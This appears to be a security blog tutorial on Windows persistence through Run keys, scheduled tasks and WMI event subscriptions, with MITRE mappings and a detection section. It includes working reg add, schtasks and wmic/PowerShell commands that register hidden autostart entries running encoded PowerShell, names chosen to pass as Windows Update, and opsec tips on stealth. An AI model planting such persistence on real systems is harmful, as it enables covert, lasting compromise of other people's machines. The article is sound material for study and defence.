Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Persistence is the set of techniques an operator uses to make code re-execute automatically after a reboot, logoff, or process kill, without requiring the initial exploitation path again. On Windows this spans a spectrum from trivially detectable (a run key pointing at an obvious binary) to deeply covert (a WMI permanent event subscription that fires only under a specific condition and lives entirely inside the CIM repository, never touching disk as a scheduled task or service would). MITRE ATT&CK catalogs this spectrum under the Persistence tactic (TA0003), with Boot or Logon Autostart Execution (T1547), Scheduled Task/Job (T1053), and Event Triggered Execution / WMI Event Subscription (T1546.003) as the specific techniques covered here.
Understanding the full range matters for both sides: an operator needs a persistence mechanism whose stealth matches the engagement’s detection risk tolerance, and a defender needs to know every one of these locations to check during triage, because malware overwhelmingly relies on this small, well-known set of mechanisms rather than novel ones. A host that is clean in the Run keys but was never checked for WMI event subscriptions is not actually clean.
Attack Prerequisites
Establishing persistence assumes code execution has already been achieved; what differs between techniques is the privilege level and stealth each requires:
- Code execution on the target as a prerequisite for all of the below — persistence is a post-exploitation step, not an initial-access technique.
- Write access to
HKCU\...\Runrequires only the current user’s privileges;HKLM\...\Run, services, and most scheduled tasks require local Administrator. - Local Administrator (or SYSTEM) to register a WMI permanent event subscription in the
root\subscriptionnamespace, and to write an__EventFilter/__EventConsumer/__FilterToConsumerBindingtriad. - Task Scheduler service running (default) for scheduled-task-based persistence, and WMI service (Winmgmt) running (default, always-on) for the event-subscription technique.
How It Works
Registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run and the HKLM equivalent) are read by explorer.exe/userinit.exe at logon; anything listed there launches automatically for that user session. RunOnce keys behave identically but self-delete after execution. This is the oldest, noisiest, and most heavily monitored mechanism — every EDR and most AV products enumerate these keys by default, which is exactly why operators graduate to less-inspected locations.
Scheduled tasks (schtasks.exe / Task Scheduler, backed by C:\Windows\System32\Tasks\ XML definitions and the TaskCache registry hive) offer more flexible triggers than a Run key — time-based, logon-based, idle-based, or event-log-based — and can run as SYSTEM regardless of which user is logged in, which is what makes them attractive for both legitimate software and malware alike. They are visible in taskschd.msc and to schtasks /query, so stealth here relies on innocuous-looking names and hiding among the dozens of legitimate vendor-created tasks already on a typical Windows box.
WMI permanent event subscriptions are the most covert of the three because they live inside the WMI repository (%SystemRoot%\System32\wbem\Repository) rather than the registry or filesystem, and are not enumerated by tools that only check Run keys, services, and the Tasks folder. The mechanism has three linked WMI class instances: an __EventFilter defines *when* to fire using a WQL query against a class like __InstanceModificationEvent (e.g. “every time the system has been up for N seconds” — a common logon-adjacent trigger via Win32_PerfFormattedData_PerfOS_System); an __EventConsumer (commonly CommandLineEventConsumer or ActiveScriptEventConsumer) defines *what* to run; and a __FilterToConsumerBinding links the two together. Once bound, WMI’s own provider host (WmiPrvSE.exe) evaluates the filter and launches the consumer’s payload — no scheduled task, no service, no autorun registry entry ever appears.
Vulnerable Code / Configuration
The underlying weakness across all three mechanisms is the same: by design, any process with sufficient registry, Task Scheduler, or WMI write access can register autostart execution, and Windows draws no distinction between a legitimate installer doing this and an attacker doing it. A vulnerable Run-key entry looks completely ordinary — that is the point:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"OneDriveSync" = "C:\Users\Public\update.exe"
; Indistinguishable at a glance from a legitimate autostart entry; the
; only tell is the unsigned/uncommon path (C:\Users\Public, %TEMP%,
; %APPDATA%) rather than Program Files.
TEXTA scheduled task with a hidden or SYSTEM-level trigger is the equivalent misconfiguration at the Task Scheduler layer — any account with SeCreateGlobalPrivilege-adjacent task-creation rights, or simply local admin, can register one that survives reboot and runs at the highest available privilege:
<!-- C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdateHelper -->
<Task version="1.2">
<Triggers><LogonTrigger><Enabled>true</Enabled></LogonTrigger></Triggers>
<Principals><Principal><UserId>S-1-5-18</UserId> <!-- SYSTEM -->
<RunLevel>HighestAvailable</RunLevel></Principal></Principals>
<Actions><Exec><Command>powershell.exe</Command>
<Arguments>-nop -w hidden -enc <base64></Arguments></Exec></Actions>
</Task>
XMLThe WMI subscription version of the same weakness is the least visible: nothing here requires an exploit, only the WMI write access any local admin already legitimately has, and no default Windows tooling surfaces these three classes together in one view:
# __EventFilter: fire on a WQL-matched event (here, periodic timer via WMI)
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter `
-Arguments @{Name='UpdateCheck'; EventNameSpace='root\cimv2';
QueryLanguage='WQL';
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE " +
"TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
# __EventConsumer: the payload that runs when the filter matches
$Consumer = Set-WmiInstance -Namespace root\subscription `
-Class CommandLineEventConsumer -Arguments @{Name='UpdateCheck';
CommandLineTemplate='powershell.exe -nop -w hidden -enc <base64>'}
# __FilterToConsumerBinding: link filter to consumer -> persistence is live
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding `
-Arguments @{Filter=$Filter; Consumer=$Consumer}
PowerShellWalkthrough / Exploitation
Simplest and noisiest — a Run key, no elevation required for the HKCU variant:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
/v Updater /t REG_SZ /d "C:\Users\Public\svc.exe" /f
REM machine-wide variant, requires admin:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" ^
/v Updater /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
CMDA scheduled task that runs as SYSTEM regardless of logon state, created with the classic schtasks syntax:
schtasks /create /tn "WindowsUpdateHelper" /tr "C:\Windows\Temp\svc.exe" ^
/sc onlogon /ru SYSTEM /rl HIGHEST /f
CMDWMI permanent event subscription for the covert, filesystem-light option — this is also achievable via the older wmic alias for quick one-liners:
wmic /namespace:"\\root\subscription" PATH __EventFilter CREATE ^
Name="BootPersist", EventNameSpace="root\cimv2", QueryLanguage="WQL", ^
Query="SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'"
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer CREATE ^
Name="BootPersist", CommandLineTemplate="powershell -nop -w hidden -enc <b64>"
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding CREATE ^
Filter="__EventFilter.Name='BootPersist'", ^
Consumer="CommandLineEventConsumer.Name='BootPersist'"
CMDVerify what is registered — the same enumeration a defender should be running routinely:
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
PowerShellNote: Autoruns (Sysinternals) is the single most useful triage tool for the Run-key and scheduled-task ends of this spectrum — it enumerates dozens of autostart locations in one pass, including logon scripts, Winlogon Notify entries, and services, and its newer builds surface WMI subscriptions too. A defender who only checks
msconfigor one registry path will miss the majority of real-world persistence.
Opsec: WMI subscription persistence trades visibility for reliability: it is harder to find but also harder to trigger precisely and easier to break with a malformed WQL query, and
WmiPrvSE.exespawning an unusual child process is itself a strong EDR signal once analysts know to look for it. Match the persistence mechanism’s stealth to the engagement’s actual detection risk rather than always reaching for the most covert option.
Detection and Defense
Because the mechanism set is small and well known, defense is mostly about consistently enumerating all of it rather than any one exotic control:
- Sysmon Event ID 13 (registry value set) on the Run/RunOnce key paths, and Event ID 12 for key creation, tuned to alert on writes to those specific autostart hives.
- Event ID 4698 (a scheduled task was created) and 4702 (updated) in the Security log; review new tasks for SYSTEM-level
RunLevelcombined with encoded PowerShell or an unsigned binary target. - WMI-Activity/Operational log (Event ID 5861 for permanent event consumer/filter/binding registration) is the specific, high-fidelity signal for T1546.003 — most environments do not enable or review this log by default and should.
- Sysinternals Autoruns (or an EDR’s autostart enumeration module) run regularly across the fleet, diffed against a known-good baseline.
- Application/script allowlisting (WDAC, AppLocker) so even a successfully registered autostart entry cannot execute an untrusted binary or unsigned script.
Real-World Impact
WMI event-subscription persistence is a documented technique in several high-profile intrusion sets — it was used by the group behind the POWELIKS/Kovter malware family and is regularly referenced in APT tradecraft write-ups (including Microsoft and Mandiant incident reports) precisely because it survives common triage steps that stop at Run keys and Task Scheduler. Run-key and scheduled-task persistence remain far more common in commodity malware and ransomware precursors simply because they are cheaper to implement and still work against environments that never check them.
Conclusion
Windows offers a well-understood ladder of persistence mechanisms trading simplicity for stealth: Run keys are trivial but loudly logged, scheduled tasks add privilege and flexible triggers at the cost of a visible XML artifact, and WMI event subscriptions hide entirely inside the CIM repository at the cost of complexity and a narrower, harder-to-debug trigger condition. A defense posture that only inspects the first of these will consistently miss the third — comprehensive autorun enumeration and WMI-Activity logging are what closes that gap.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments